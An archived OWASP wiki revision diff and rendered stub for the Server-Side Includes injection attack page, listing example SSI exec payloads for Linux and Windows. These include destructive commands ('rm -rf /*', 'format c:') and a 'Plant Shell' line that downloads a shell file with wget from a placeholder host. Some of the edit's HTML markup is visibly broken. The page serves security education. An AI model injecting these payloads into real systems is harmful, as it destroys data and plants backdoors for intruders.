This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org

Difference between revisions of "Server-Side Includes (SSI) Injection"

From OWASP
Jump to: navigation, search
m (Examples)
m (Examples)
Line 6: Line 6:
 
==Examples ==
 
==Examples ==
 
'''Linux'''<br>
 
'''Linux'''<br>
List Files - < !--#exec cmd="ls" --><br>
+
List Files - font color='red'>< !--#exec cmd="ls" --></font><br>
Remove All - < !--#exec cmd="rm -rf /*" --><br>
+
Remove All - font color='red'>< !--#exec cmd="rm -rf /*" --></font><br>
Navigate Directories - < !--#exec cmd="cd /root/dir/" --><br>
+
Navigate Directories - font color='red'>< !--#exec cmd="cd /root/dir/" --><</font>br>
Plant Shell - < !--#exec cmd="wget http://mysite.com/shell.txt | rename shell.txt shell.php" --><br>
+
Plant Shell - font color='red'>< !--#exec cmd="wget http://mysite.com/shell.txt | rename shell.txt shell.php" --></font><br>
 
<br>
 
<br>
 
'''Windows'''<br>
 
'''Windows'''<br>
List Files - < !--#exec cmd="dir" --><br>
+
List Files - font color='red'>< !--#exec cmd="dir" --></font><br>
Remove All - < !--#exec cmd="format c:" --><br>
+
Remove All - font color='red'>< !--#exec cmd="format c:" --></font><br>
Navigate Directories - < !--#exec cmd="cd C:\admin\dir" --><br>
+
Navigate Directories - <font color='red'>< !--#exec cmd="cd C:\admin\dir" --></font><br>
  
 
==Related Threats==
 
==Related Threats==

Revision as of 19:21, 29 April 2007

This is an Attack. To view all attacks, please see the Attack Category page.


Description

SSI can be injected in to input fields where code is echo'd out and attackers are able to execute commands.

Examples

Linux
List Files - font color='red'>< !--#exec cmd="ls" --></font>
Remove All - font color='red'>< !--#exec cmd="rm -rf /*" --></font>
Navigate Directories - font color='red'>< !--#exec cmd="cd /root/dir/" --><</font>br> Plant Shell - font color='red'>< !--#exec cmd="wget http://mysite.com/shell.txt | rename shell.txt shell.php" --></font>

Windows
List Files - font color='red'>< !--#exec cmd="dir" --></font>
Remove All - font color='red'>< !--#exec cmd="format c:" --></font>
Navigate Directories - < !--#exec cmd="cd C:\admin\dir" -->

Related Threats

Related Attacks

Related Vulnerabilities

Related Countermeasures

Categories

This article is a stub. You can help OWASP by expanding it or discussing it on its Talk page.